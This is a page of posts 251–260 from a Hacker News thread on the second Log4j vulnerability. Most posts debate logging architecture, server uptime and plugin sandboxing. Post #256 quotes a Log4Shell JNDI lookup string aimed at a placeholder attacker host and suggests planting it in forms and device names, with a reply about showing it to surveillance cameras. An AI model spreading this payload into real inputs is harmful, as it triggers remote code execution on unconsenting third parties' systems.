Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

251–260 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#251

Post by count »

Bluecobra wrote: post #193
staticassertion wrote: post #110

Earlier quoted context omitted.

Server uptime used to be a point of pride. Now people try to shut them down as often as they can. Funny how things change.

Indeed, I remember going though great lengths to keep the Solaris hosts up that I used to administer. The graybeards I worked with treated rebooting as last resort, like admitting defeat. It was a dirty word, only reserved for lesser operating systems like Windows 95, that needed rebooting often. There was an art to systems administration that seems to be lost now. Or maybe I am just looking back though rose colored…

To be fair, it also used to take sometimes an hour+ to reinit a system. All those SCSI busses had to be enumerated, all the RAM checked for error, ah, the old days...

Re: Log4Shell update: second Log4j vulnerability published

#252

Post by reaperducer »

kergonath wrote: post #185
eitland wrote: post #56

Earlier quoted context omitted.

Heh. I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo. I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1]. In this case however the advantages might actually outweigh the risks as long as it is done carefully. [1]:…

> others mention services or servers that no one know how to restart anymore. This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?

This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?

This happens a lot in the real (non-computer) world, too.

There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries.

I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.

Re: Log4Shell update: second Log4j vulnerability published

#253

Post by Too »

kbart wrote: post #134
bullen wrote: post #94

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…

That's not how logging works in real world. It might be sufficient for a pet project running on a single machine, but not when you have hundreds of instances running in parallel, when you to send logs to a central system for parsing/analysis in near realtime, when you need an ability to configure logging levels and formats in flight etc. and do all that with minimal impact on the performance. I don't advocate JNDI-li…

Log shipping is usually based on tailing a file on disk in a separate process. Eg FileBeat, Fluentd, Promtail, logrotate.

Separation of concerns. Keeps infrastructure details out of your app and is more likely to at least leave a trace on disk in case the central logging goes south, when you need it the most.

On demand changing of log levels is still something worth keeping in application, depending on your verbosity volumes.

Re: Log4Shell update: second Log4j vulnerability published

#254

Post by [deleted] »

qalmakka wrote: post #228
adambatkin wrote: post #182

Earlier quoted context omitted.

Maybe your opinion is unpopular for a reason. C and C++ has always suffered from the ability to corrupt some memory (like overrun a buffer) and jump into and start executing some user-provided arbitrary data. Perl/Python/Ruby/PHP and friends all have eval() which is even easier to exploit. Rust and maybe Go are much in this respect (because in most cases you need to deliberately mark a piece of code as unsafe before…

The difference is that being pwned by a random memory corruption, while unfortunate, is an unintended feature. This on the other hand provides a deliberate, standardized and convenient way to allow anyone to download *any* arbitrary code into a running JVM. This is something that it is NEVER ok, not in any form or fashion, not even your own network unless you enable some huge debug flag, and it's WAY worse than eval(…

[deleted]

Re: Log4Shell update: second Log4j vulnerability published

#255

Post by blablabla123 »

kbart wrote: post #134
bullen wrote: post #94

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…

That's not how logging works in real world. It might be sufficient for a pet project running on a single machine, but not when you have hundreds of instances running in parallel, when you to send logs to a central system for parsing/analysis in near realtime, when you need an ability to configure logging levels and formats in flight etc. and do all that with minimal impact on the performance. I don't advocate JNDI-li…

Actually some well-known logging solutions work exactly like this. There's a local agent running, listens to file changes and forwards them. Next more complex solution would be syslog with TLS, even supports log routing and is packaged with practically every Linux distribution.

After all I think Java isn't that bad but all this legacy stuff needs to be dropped.

Re: Log4Shell update: second Log4j vulnerability published

#256

Post by reaperducer »

AnotherGoodName wrote: post #20
candiddevmike wrote: post #6

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. N…

It'll get digitized somewhere

I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.

Re: Log4Shell update: second Log4j vulnerability published

#257

Post by nitrogen »

nefitty wrote: post #143
kubanczyk wrote: post #119

Earlier quoted context omitted.

Usually there is no universal way to find the latest version of internal documentation across teams, hence updating such documentation is barely worth the time. People notice the fact.

In your mind, do hosted wikis and KBs like Stack Exchange, Wikimedia or Confluence address the discovery problem? If not, is there anything close?

Not the OP, but I am a fan of leaving breadcrumbs everywhere. That is, every bit of documentation should point to other bits of documentation. Code comments point to the corporate wiki and vice versa, commit messages point to issues, issues refer to commit hashes, log messages might say who wrote a service, bespoke server and container images could have a README in /, internal DNS can have text records, etc.

We have to accept that we will sometimes play digital archaeologist. That's a good thing! It means that the technology we're studying was successful. So given that, it's better to have out of date documentation than zero documentation, so that we can pick up the trail somewhere.

Re: Log4Shell update: second Log4j vulnerability published

#258

Post by laumars »

eMGm4D0zgUAVXc7 wrote: post #178
runeks wrote: post #170

Earlier quoted context omitted.

Agreed. Loading and running arbitrary Java byte code should not be possible from user code. Only the runtime system should have this ability.

How do you want to write software which supports plugins then? Force the user to restart everything if they need a plugin? Or do you want to force developers to only ever write monolithic software now?

Plug-ins should be sandboxed anyway. Which means they shouldn’t be random Java classes with the same blast radius as your main application. And if you’ve done that right you’ve got a VM that can be restarted without having to restart the parent application.

Re: Log4Shell update: second Log4j vulnerability published

#259

Post by kbart »

Too wrote: post #253
kbart wrote: post #134

Earlier quoted context omitted.

That's not how logging works in real world. It might be sufficient for a pet project running on a single machine, but not when you have hundreds of instances running in parallel, when you to send logs to a central system for parsing/analysis in near realtime, when you need an ability to configure logging levels and formats in flight etc. and do all that with minimal impact on the performance. I don't advocate JNDI-li…

Log shipping is usually based on tailing a file on disk in a separate process. Eg FileBeat, Fluentd, Promtail, logrotate. Separation of concerns. Keeps infrastructure details out of your app and is more likely to at least leave a trace on disk in case the central logging goes south, when you need it the most. On demand changing of log levels is still something worth keeping in application, depending on your verbosity…

Fair enough, but that's more of how you package things - you can either have a separate class in Java inside your jar or you can have a standalone agent application (often also yet another Java application), but the attack surface doesn't change much. If log4j would be a standalone agent running on the same application server with this RCE vulnerability, the end result would be exactly the same.

Re: Log4Shell update: second Log4j vulnerability published

#260

Post by Too »

kbart wrote: post #259
Too wrote: post #253

Earlier quoted context omitted.

Log shipping is usually based on tailing a file on disk in a separate process. Eg FileBeat, Fluentd, Promtail, logrotate. Separation of concerns. Keeps infrastructure details out of your app and is more likely to at least leave a trace on disk in case the central logging goes south, when you need it the most. On demand changing of log levels is still something worth keeping in application, depending on your verbosity…

Fair enough, but that's more of how you package things - you can either have a separate class in Java inside your jar or you can have a standalone agent application (often also yet another Java application), but the attack surface doesn't change much. If log4j would be a standalone agent running on the same application server with this RCE vulnerability, the end result would be exactly the same.

Didn’t mean to split the log shipper for sake of security but since you brought it up :) RCE in the app allows reading secrets the application holds in memory, a lot more difficult from another process. And if you run the log scraper in a less privileged container you could restrict the blast radius to basically nothing except shipping fake logs to the central system.

But sure, take this reasoning too far and you end up with micro service spaghetti, so some balance is needed.

Post reply on HN